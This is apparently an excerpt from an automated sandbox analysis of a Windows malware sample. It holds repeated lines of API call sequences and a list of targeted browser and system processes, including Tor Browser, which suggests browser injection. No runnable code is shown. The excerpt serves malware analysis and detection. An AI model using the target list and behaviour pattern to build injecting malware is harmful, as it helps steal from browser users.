Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: CreateToolhelp32Snapshot,Process32First,EnterCriticalSection,GetCurrentProcessId,StrStrIA,EnterCriticalSection,GetProcessHeap,HeapAlloc,LeaveCriticalSection,Process32Next,GetHandleInformation,CloseHandle, iexplore.exe|opera.exe|java.exe|javaw.exe|explorer.exe|isclient.exe|intpro.exe|ipc_full.exe|mnp.exe|cbsmain.dll|firefox.exe|clmain.exe|core.exe|maxthon.exe|avant.exe|safari.exe|svchost.exe|chrome.exe|notepad.exe|rundll32.exe|netscape.exe|tbb-firefox.exe|6_2_01756370
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: CreateToolhelp32Snapshot,Process32First,EnterCriticalSection,GetCurrentProcessId,StrStrIA,EnterCriticalSection,GetProcessHeap,HeapAlloc,LeaveCriticalSection,Process32Next,GetHandleInformation,CloseHandle, iexplore.exe|opera.exe|java.exe|javaw.exe|explorer.exe|isclient.exe|intpro.exe|ipc_full.exe|mnp.exe|cbsmain.dll|firefox.exe|clmain.exe|core.exe|maxthon.exe|avant.exe|safari.exe|svchost.exe|chrome.exe|notepad.exe|rundll32.exe|netscape.exe|tbb-firefox.exe|6_2_01756370
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: CreateToolhelp32Snapshot,Process32First,EnterCriticalSection,GetCurrentProcessId,StrStrIA,EnterCriticalSection,GetProcessHeap,HeapAlloc,LeaveCriticalSection,Process32Next,GetHandleInformation,CloseHandle, iexplore.exe|opera.exe|java.exe|javaw.exe|explorer.exe|isclient.exe|intpro.exe|ipc_full.exe|mnp.exe|cbsmain.dll|firefox.exe|clmain.exe|core.exe|maxthon.exe|avant.exe|safari.exe|svchost.exe|chrome.exe|notepad.exe|rundll32.exe|netscape.exe|tbb-firefox.exe|6_2_01756370
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: memset,GetModuleFileNameA,InitializeCriticalSection,CreateMutexA,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,GetModuleHandleA,GetProcAddress,GetCurrentProcess,#680,#680,PathFindFileNameA,StrStrIA,#680,StrStrIA,#680,StrStrIA,CreateMutexA,GetLastError, iexplore.exe|opera.exe|java.exe|javaw.exe|explorer.exe|isclient.exe|intpro.exe|ipc_full.exe|mnp.exe|cbsmain.dll|firefox.exe|clmain.exe|core.exe|maxthon.exe|avant.exe|safari.exe|svchost.exe|chrome.exe|notepad.exe|rundll32.exe|netscape.exe|tbb-firefox.exe|6_2_01743510
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: memset,GetModuleFileNameA,InitializeCriticalSection,CreateMutexA,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,GetModuleHandleA,GetProcAddress,GetCurrentProcess,#680,#680,PathFindFileNameA,StrStrIA,#680,StrStrIA,#680,StrStrIA,CreateMutexA,GetLastError, iexplore.exe|opera.exe|java.exe|javaw.exe|explorer.exe|isclient.exe|intpro.exe|ipc_full.exe|mnp.exe|cbsmain.dll|firefox.exe|clmain.exe|core.exe|maxthon.exe|avant.exe|safari.exe|svchost.exe|chrome.exe|notepad.exe|rundll32.exe|netscape.exe|tbb-firefox.exe|6_2_01743510
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: memset,GetModuleFileNameA,InitializeCriticalSection,CreateMutexA,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,GetModuleHandleA,GetProcAddress,GetCurrentProcess,#680,#680,PathFindFileNameA,StrStrIA,#680,StrStrIA,#680,StrStrIA,CreateMutexA,GetLastError, iexplore.exe|opera.exe|java.exe|javaw.exe|explorer.exe|isclient.exe|intpro.exe|ipc_full.exe|mnp.exe|cbsmain.dll|firefox.exe|clmain.exe|core.exe|maxthon.exe|avant.exe|safari.exe|svchost.exe|chrome.exe|notepad.exe|rundll32.exe|netscape.exe|tbb-firefox.exe|6_2_01743510
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: CreateToolhelp32Snapshot,Process32First,EnterCriticalSection,GetCurrentProcessId,StrStrIA,EnterCriticalSection,GetProcessHeap,HeapAlloc,LeaveCriticalSection,Process32Next,GetHandleInformation,CloseHandle, iexplore.exe|opera.exe|java.exe|javaw.exe|explorer.exe|isclient.exe|intpro.exe|ipc_full.exe|mnp.exe|cbsmain.dll|firefox.exe|clmain.exe|core.exe|maxthon.exe|avant.exe|safari.exe|svchost.exe|chrome.exe|notepad.exe|rundll32.exe|netscape.exe|tbb-firefox.exe|7_2_03116370
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: CreateToolhelp32Snapshot,Process32First,EnterCriticalSection,GetCurrentProcessId,StrStrIA,EnterCriticalSection,GetProcessHeap,HeapAlloc,LeaveCriticalSection,Process32Next,GetHandleInformation,CloseHandle, iexplore.exe|opera.exe|java.exe|javaw.exe|explorer.exe|isclient.exe|intpro.exe|ipc_full.exe|mnp.exe|cbsmain.dll|firefox.exe|clmain.exe|core.exe|maxthon.exe|avant.exe|safari.exe|svchost.exe|chrome.exe|notepad.exe|rundll32.exe|netscape.exe|tbb-firefox.exe|7_2_03116370
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: CreateToolhelp32Snapshot,Process32First,EnterCriticalSection,GetCurrentProcessId,StrStrIA,EnterCriticalSection,GetProcessHeap,HeapAlloc,LeaveCriticalSection,Process32Next,GetHandleInformation,CloseHandle, iexplore.exe|opera.exe|java.exe|javaw.exe|explorer.exe|isclient.exe|intpro.exe|ipc_full.exe|mnp.exe|cbsmain.dll|firefox.exe|clmain.exe|core.exe|maxthon.exe|avant.exe|safari.exe|svchost.exe|chrome.exe|notepad.exe|rundll32.exe|netscape.exe|tbb-firefox.exe|7_2_03116370
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,InitializeCriticalSection,CreateMutexA,CreateMutexA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,CreateMutexA,InitializeCriticalSection,CreateThread,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetHandleInformation,CreateThread,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle, \chrome.exe7_2_03115890
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,InitializeCriticalSection,CreateMutexA,CreateMutexA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,CreateMutexA,InitializeCriticalSection,CreateThread,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetHandleInformation,CreateThread,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle, \iexplore.exe7_2_03115890
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,InitializeCriticalSection,CreateMutexA,CreateMutexA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,CreateMutexA,InitializeCriticalSection,CreateThread,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetHandleInformation,CreateThread,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle, \firefox.exe7_2_03115890
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,InitializeCriticalSection,CreateMutexA,CreateMutexA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,CreateMutexA,InitializeCriticalSection,CreateThread,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetHandleInformation,CreateThread,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle, \tbb-firefox.exe7_2_03115890
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,InitializeCriticalSection,CreateMutexA,CreateMutexA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,CreateMutexA,InitializeCriticalSection,CreateThread,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetHandleInformation,CreateThread,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle, \chrome.exe7_2_03115890
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,InitializeCriticalSection,CreateMutexA,CreateMutexA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,CreateMutexA,InitializeCriticalSection,CreateThread,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetHandleInformation,CreateThread,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle, \chrome.exe7_2_03115890
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: memset,GetModuleFileNameA,InitializeCriticalSection,CreateMutexA,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,GetModuleHandleA,GetProcAddress,GetCurrentProcess,#680,#680,PathFindFileNameA,StrStrIA,#680,StrStrIA,#680,StrStrIA,CreateMutexA,GetLastError, iexplore.exe|opera.exe|java.exe|javaw.exe|explorer.exe|isclient.exe|intpro.exe|ipc_full.exe|mnp.exe|cbsmain.dll|firefox.exe|clmain.exe|core.exe|maxthon.exe|avant.exe|safari.exe|svchost.exe|chrome.exe|notepad.exe|rundll32.exe|netscape.exe|tbb-firefox.exe|7_2_03103510
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: memset,GetModuleFileNameA,InitializeCriticalSection,CreateMutexA,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,GetModuleHandleA,GetProcAddress,GetCurrentProcess,#680,#680,PathFindFileNameA,StrStrIA,#680,StrStrIA,#680,StrStrIA,CreateMutexA,GetLastError, iexplore.exe|opera.exe|java.exe|javaw.exe|explorer.exe|isclient.exe|intpro.exe|ipc_full.exe|mnp.exe|cbsmain.dll|firefox.exe|clmain.exe|core.exe|maxthon.exe|avant.exe|safari.exe|svchost.exe|chrome.exe|notepad.exe|rundll32.exe|netscape.exe|tbb-firefox.exe|7_2_03103510
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: memset,GetModuleFileNameA,InitializeCriticalSection,CreateMutexA,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,GetModuleHandleA,GetProcAddress,GetCurrentProcess,#680,#680,PathFindFileNameA,StrStrIA,#680,StrStrIA,#680,StrStrIA,CreateMutexA,GetLastError, iexplore.exe|opera.exe|java.exe|javaw.exe|explorer.exe|isclient.exe|intpro.exe|ipc_full.exe|mnp.exe|cbsmain.dll|firefox.exe|clmain.exe|core.exe|maxthon.exe|avant.exe|safari.exe|svchost.exe|chrome.exe|notepad.exe|rundll32.exe|netscape.exe|tbb-firefox.exe|7_2_03103510
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,InitializeCriticalSection,CreateMutexA,CreateMutexA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,CreateMutexA,InitializeCriticalSection,CreateThread,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetHandleInformation,CreateThread,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle, \chrome.exe10_2_01535890
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,InitializeCriticalSection,CreateMutexA,CreateMutexA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,CreateMutexA,InitializeCriticalSection,CreateThread,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetHandleInformation,CreateThread,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle, \iexplore.exe10_2_01535890
Source: C:\Program Files (x86)\nFQGqJWqToOcwOOJpiJkvdMoOKWSaIRQUUaYcAtfduoYRgKrHBzFLFNpnZWbYXGDOpsSxIrpvMuErJL\NcYLgtXIKJgHj.exeCode function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,InitializeCriticalSection,CreateMutexA,CreateMutexA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,CreateMutexA,InitializeCriticalSection,CreateThread,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateTh